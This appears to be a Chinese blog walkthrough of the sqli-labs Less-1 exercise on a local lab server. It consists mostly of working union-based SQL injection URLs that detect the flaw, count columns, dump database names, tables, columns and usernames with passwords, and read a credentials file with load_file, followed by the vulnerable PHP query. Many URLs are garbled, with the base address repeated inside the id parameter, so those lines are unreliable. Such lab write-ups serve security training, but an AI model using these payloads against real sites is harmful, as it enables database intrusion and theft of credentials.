1. 判断是否存在sql注入
http://127.0.0.1/Less-1/?id=2 正常
http://127.0.0.1/Less-1/?id=2' 报错
http://127.0.0.1/Less-1/?id=2' and '1'='1 正常
http://127.0.0.1/Less-1/?id=2' and '1'='2 报错
存在sql注入
2. 确定字段数
http://127.0.0.1/Less-1/?id=2' order by 3--+ 正常
http://127.0.0.1/Less-1/?id=2' order by 4--+ 报错
字段为3
3. 确定回显点
- http://127.0.0.1/Less-1/?id=-2' union select 1,2,3--+
将2改为-2使union之前的报错,查询 1,2,3 结果 2,3回显,所以可以在2,3处构造查询语句,下面以在3处为例
4. 信息收集
- 判断数据库类型
http://127.0.0.1/Less-1/?id=2' 错误页面显示mysql数据库- 获取数据库版本
http://127.0.0.1/Less-1/?id=-2' union select 1,2,version()--+- 数据库用户
获取系统用户名:
http://127.0.0.1/Less-1/?id=-2' union select 1,2,system_user()--+
获取用户:
http://127.0.0.1/Less-1/?id=-2' union select 1,2,user()--+
获取当前用户:
http://127.0.0.1/Less-1/?id=-2' union select 1,2,current_user()--+
获取连接数据库的用户:
http://127.0.0.1/Less-1/?id=-2' union select 1,2,session_user()--+
5. 获取数据
- 数据库信息
方法一:
http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select schema_name from information_schema.schemata limit 0,1)--+
方法二:
http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+
返回结果:
information_schema,challenges,mysql,performance_schema,security- 数据表信息
http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
十六进制法:
http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479)--+
这里也可以使用当前库法:
http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
返回结果:
emails,referers,uagents,users- 数据列信息
http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')--+
也可以使用十六进制法
返回结果:
id,username,password- 获取数据
单条获取:
http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select concat_ws('~',username,password) from security.users limit 0,1)--+
获取所有:
http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select group_concat(username,'~',password) from security.users limit 0,1)--+
注:"~"可以使用0x7e代替
6. 提权
mysql不能直接执行系统命令,所以只能通过读写文件的方式完成提权
1. 读文件
http://127.0.0.1/Less-1/?id=http://127.0.0.1/Less-1/?id=-1' union select 1,2,(select load_file('/var/www/html/sql-connections/db-creds.inc'))--+
执行上面的命令后需要查看源代码才能在网页中看到文件内容
2. 写文件
源码分析
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
#没有对id做任何处理就直接带入到数据库中执行
网友评论